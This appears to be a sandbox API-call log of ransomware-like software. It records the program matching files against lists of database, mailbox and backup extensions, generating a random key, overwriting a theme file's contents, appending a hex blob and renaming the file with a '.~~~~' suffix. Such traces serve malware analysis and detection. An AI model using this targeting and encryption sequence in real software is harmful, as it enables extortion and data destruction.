	[0083.368] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM", lpSrch=".PST") returned 0x0
	[0083.368] lstrlenW (lpString=".dbf") returned 4
	[0083.368] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM", lpSrch=".dbf") returned 0x0
	[0083.368] lstrlenW (lpString=".SQL") returned 4
	[0083.368] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM", lpSrch=".SQL") returned 0x0
	[0083.368] lstrlenW (lpString=".pst") returned 4
	[0083.368] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM", lpSrch=".pst") returned 0x0
	[0083.368] lstrlenW (lpString=".dbv") returned 4
	[0083.368] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM", lpSrch=".dbv") returned 0x0
	[0083.368] lstrlenW (lpString=".SDF") returned 4
	[0083.368] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM", lpSrch=".SDF") returned 0x0
	[0083.368] lstrlenW (lpString=".dtxs") returned 5
	[0083.368] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM", lpSrch=".dtxs") returned 0x0
	[0083.368] lstrlenW (lpString=".db3") returned 4
	[0083.368] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM", lpSrch=".db3") returned 0x0
	[0083.368] lstrlenW (lpString=".OST") returned 4
	[0083.368] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM", lpSrch=".OST") returned 0x0
	[0083.368] lstrlenW (lpString=".dbx") returned 4
	[0083.368] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM", lpSrch=".dbx") returned 0x0
	[0083.368] lstrlenW (lpString=".DB3") returned 4
	[0083.368] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM", lpSrch=".DB3") returned 0x0
	[0083.369] lstrlenW (lpString=".DAT") returned 4
	[0083.369] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM", lpSrch=".DAT") returned 0x0
	[0083.369] lstrlenW (lpString=".VHDX") returned 5
	[0083.369] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM", lpSrch=".VHDX") returned 0x0
	[0083.369] lstrlenW (lpString=".ndf") returned 4
	[0083.369] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM", lpSrch=".ndf") returned 0x0
	[0083.369] lstrlenW (lpString=".DB") returned 3
	[0083.369] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM", lpSrch=".DB") returned 0x0
	[0083.369] lstrlenW (lpString=".sql") returned 4
	[0083.369] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM", lpSrch=".sql") returned 0x0
	[0083.369] lstrlenW (lpString=".MYD") returned 4
	[0083.369] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM", lpSrch=".MYD") returned 0x0
	[0083.369] lstrlenW (lpString=".DBT") returned 4
	[0083.369] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM", lpSrch=".DBT") returned 0x0
	[0083.369] lstrlenW (lpString=".ACCDB") returned 6
	[0083.369] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM", lpSrch=".ACCDB") returned 0x0
	[0083.369] lstrlenW (lpString=".fdb") returned 4
	[0083.369] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM", lpSrch=".fdb") returned 0x0
	[0083.369] lstrlenW (lpString=".bak") returned 4
	[0083.369] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM", lpSrch=".bak") returned 0x0
	[0083.369] lstrlenW (lpString=".myd") returned 4
	[0083.369] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM", lpSrch=".myd") returned 0x0
	[0083.369] lstrlenW (lpString=".DTXS") returned 5
	[0083.369] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM", lpSrch=".DTXS") returned 0x0
	[0083.369] lstrlenW (lpString=".ckp") returned 4
	[0083.369] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM", lpSrch=".ckp") returned 0x0
	[0083.370] lstrlenW (lpString=".dbt") returned 4
	[0083.370] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM", lpSrch=".dbt") returned 0x0
	[0083.370] lstrlenW (lpString=".db") returned 3
	[0083.370] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM", lpSrch=".db") returned 0x0
	[0083.370] lstrlenW (lpString=".TXT") returned 4
	[0083.370] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM", lpSrch=".TXT") returned 0x0
	[0083.370] lstrlenW (lpString=".MDF") returned 4
	[0083.370] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM", lpSrch=".MDF") returned 0x0
	[0083.370] lstrlenW (lpString=".bdb") returned 4
	[0083.370] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM", lpSrch=".bdb") returned 0x0
	[0083.370] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0083.370] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0083.370] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0083.370] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0083.370] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0083.371] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0083.371] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0083.371] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0083.371] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0083.371] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3ce6f8
	[0083.371] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=20336148664) returned 1
	[0083.371] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9b860e30, dwHighDateTime=0x1d60e1e)) 
	[0083.372] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0083.372] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0083.372] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0083.372] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ac970
	[0083.372] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0083.372] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac970 | out: hHeap=0x300000) returned 1
	[0083.372] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0083.372] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0083.372] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x38e688
	[0083.372] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0083.372] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.372] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38e688 | out: hHeap=0x300000) returned 1
	[0083.372] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0083.372] GetLastError () returned 0x0
	[0083.372] GetLastError () returned 0x0
	[0083.373] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0083.373] GetLastError () returned 0x0
	[0083.373] GetLastError () returned 0x0
	[0083.375] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xffff257a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0083.375] WriteFile (in: hFile=0x124, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0xda86, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x24dfec0*=0xda86, lpOverlapped=0x0) returned 1
	[0083.376] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0083.376] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.376] WriteFile (in: hFile=0x124, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0083.376] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0083.376] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0083.376] CloseHandle (hObject=0x124) returned 1
	[0083.376] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4328
	[0083.376] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.elm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.elm.~~~~")) returned 1
	[0083.377] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4328 | out: hHeap=0x300000) returned 1
	[0083.377] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0083.377] GetLastError () returned 0x0
	[0083.377] RtlWakeConditionVariable () returned 0x365f70
	[0083.377] GetCurrentThreadId () returned 0x3a4
	[0083.377] GetCurrentThreadId () returned 0x3a4
	[0083.377] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4830
	[0083.377] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a41b8 | out: hHeap=0x300000) returned 1
	[0083.377] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac938 | out: hHeap=0x300000) returned 1
	[0083.378] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a41b8
	[0083.378] lstrlenW (lpString=".scr") returned 4
	[0083.378] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF", lpSrch=".scr") returned 0x0
	[0083.378] lstrlenW (lpString=".cmd") returned 4
	[0083.378] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF", lpSrch=".cmd") returned 0x0
	[0083.378] lstrlenW (lpString=".dll") returned 4
	[0083.378] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF", lpSrch=".dll") returned 0x0
	[0083.378] lstrlenW (lpString=".bat") returned 4
	[0083.378] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF", lpSrch=".bat") returned 0x0
	[0083.378] lstrlenW (lpString=".cpl") returned 4
	[0083.378] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF", lpSrch=".cpl") returned 0x0
	[0083.378] lstrlenW (lpString=".sys") returned 4
	[0083.378] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF", lpSrch=".sys") returned 0x0
	[0083.378] lstrlenW (lpString=".msc") returned 4
	[0083.378] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF", lpSrch=".msc") returned 0x0
	[0083.378] lstrlenW (lpString=".com") returned 4
	[0083.378] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF", lpSrch=".com") returned 0x0
	[0083.378] lstrlenW (lpString=".lnk") returned 4
	[0083.378] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF", lpSrch=".lnk") returned 0x0
	[0083.378] lstrlenW (lpString=".msp") returned 4
	[0083.378] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF", lpSrch=".msp") returned 0x0
	[0083.378] lstrlenW (lpString=".pif") returned 4
	[0083.378] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF", lpSrch=".pif") returned 0x0
	[0083.378] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0083.378] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF", lpSrch="msp\r\n.pif") returned 0x0
	[0083.379] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
	[0083.631] lstrlenW (lpString=".sqb") returned 4
	[0083.631] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF", lpSrch=".sqb") returned 0x0
	[0083.631] lstrlenW (lpString=".ost") returned 4
	[0083.631] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF", lpSrch=".ost") returned 0x0
	[0083.631] lstrlenW (lpString=".txt") returned 4
	[0083.631] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF", lpSrch=".txt") returned 0x0
	[0083.631] lstrlenW (lpString=".mdt") returned 4
	[0083.631] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF", lpSrch=".mdt") returned 0x0
	[0083.631] lstrlenW (lpString=".BDB") returned 4
	[0083.631] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF", lpSrch=".BDB") returned 0x0
	[0083.631] lstrlenW (lpString=".eql") returned 4
	[0083.631] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF", lpSrch=".eql") returned 0x0
	[0083.632] lstrlenW (lpString=".DBF") returned 4
	[0083.632] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF", lpSrch=".DBF") returned 0x0
	[0083.644] lstrlenW (lpString=".EQL") returned 4
	[0083.644] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF", lpSrch=".EQL") returned 0x0
	[0083.644] lstrlenW (lpString=".FDB") returned 4
	[0083.644] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF", lpSrch=".FDB") returned 0x0
	[0083.644] lstrlenW (lpString=".EDB") returned 4
	[0083.644] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF", lpSrch=".EDB") returned 0x0
	[0083.644] lstrlenW (lpString=".DACPAC") returned 7
	[0083.644] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF", lpSrch=".DACPAC") returned 0x0
	[0083.644] lstrlenW (lpString=".VHD") returned 4
	[0083.644] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF", lpSrch=".VHD") returned 0x0
	[0083.645] lstrlenW (lpString=".DBV") returned 4
	[0083.645] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF", lpSrch=".DBV") returned 0x0
	[0083.645] lstrlenW (lpString=".dacpac") returned 7
	[0083.645] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF", lpSrch=".dacpac") returned 0x0
	[0083.645] lstrlenW (lpString=".sdf") returned 4
	[0083.645] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF", lpSrch=".sdf") returned 0x0
	[0083.645] lstrlenW (lpString=".accdb") returned 6
	[0083.645] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF", lpSrch=".accdb") returned 0x0
	[0083.645] lstrlenW (lpString=".DBX") returned 4
	[0083.645] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF", lpSrch=".DBX") returned 0x0
	[0083.645] lstrlenW (lpString=".MDT") returned 4
	[0083.645] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF", lpSrch=".MDT") returned 0x0
	[0083.645] lstrlenW (lpString=".SQB") returned 4
	[0083.645] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF", lpSrch=".SQB") returned 0x0
	[0083.645] lstrlenW (lpString=".vhd") returned 4
	[0083.645] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF", lpSrch=".vhd") returned 0x0
	[0083.645] lstrlenW (lpString=".bac") returned 4
	[0083.646] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF", lpSrch=".bac") returned 0x0
	[0083.646] lstrlenW (lpString=".mdf") returned 4
	[0083.646] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF", lpSrch=".mdf") returned 0x0
	[0083.646] lstrlenW (lpString=".BAK") returned 4
	[0083.646] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF", lpSrch=".BAK") returned 0x0
	[0083.646] lstrlenW (lpString=".BAC") returned 4
	[0083.646] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF", lpSrch=".BAC") returned 0x0
	[0083.646] lstrlenW (lpString=".dbs") returned 4
	[0083.646] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF", lpSrch=".dbs") returned 0x0
	[0083.646] lstrlenW (lpString=".vhdx") returned 5
	[0083.646] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF", lpSrch=".vhdx") returned 0x0
	[0083.646] lstrlenW (lpString=".NDF") returned 4
	[0083.646] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF", lpSrch=".NDF") returned 0x0
	[0083.646] lstrlenW (lpString=".dat") returned 4
	[0083.646] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF", lpSrch=".dat") returned 0x0
	[0083.646] lstrlenW (lpString=".DBS") returned 4
	[0083.646] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF", lpSrch=".DBS") returned 0x0
	[0083.646] lstrlenW (lpString=".CKP") returned 4
	[0083.646] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF", lpSrch=".CKP") returned 0x0
	[0083.646] lstrlenW (lpString=".edb") returned 4
	[0083.646] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF", lpSrch=".edb") returned 0x0
	[0083.646] lstrlenW (lpString=".PST") returned 4
	[0083.646] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF", lpSrch=".PST") returned 0x0
	[0083.646] lstrlenW (lpString=".dbf") returned 4
	[0083.646] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF", lpSrch=".dbf") returned 0x0
	[0083.646] lstrlenW (lpString=".SQL") returned 4
	[0083.646] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF", lpSrch=".SQL") returned 0x0
	[0083.646] lstrlenW (lpString=".pst") returned 4
	[0083.646] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF", lpSrch=".pst") returned 0x0
	[0083.646] lstrlenW (lpString=".dbv") returned 4
	[0083.647] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF", lpSrch=".dbv") returned 0x0
	[0083.647] lstrlenW (lpString=".SDF") returned 4
	[0083.647] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF", lpSrch=".SDF") returned 0x0
	[0083.647] lstrlenW (lpString=".dtxs") returned 5
	[0083.647] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF", lpSrch=".dtxs") returned 0x0
	[0083.647] lstrlenW (lpString=".db3") returned 4
	[0083.647] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF", lpSrch=".db3") returned 0x0
	[0083.647] lstrlenW (lpString=".OST") returned 4
	[0083.647] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF", lpSrch=".OST") returned 0x0
	[0083.647] lstrlenW (lpString=".dbx") returned 4
	[0083.647] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF", lpSrch=".dbx") returned 0x0
	[0083.647] lstrlenW (lpString=".DB3") returned 4
	[0083.647] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF", lpSrch=".DB3") returned 0x0
	[0083.647] lstrlenW (lpString=".DAT") returned 4
	[0083.647] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF", lpSrch=".DAT") returned 0x0
	[0083.647] lstrlenW (lpString=".VHDX") returned 5
	[0083.647] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF", lpSrch=".VHDX") returned 0x0
	[0083.647] lstrlenW (lpString=".ndf") returned 4
	[0083.647] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF", lpSrch=".ndf") returned 0x0
	[0083.647] lstrlenW (lpString=".DB") returned 3
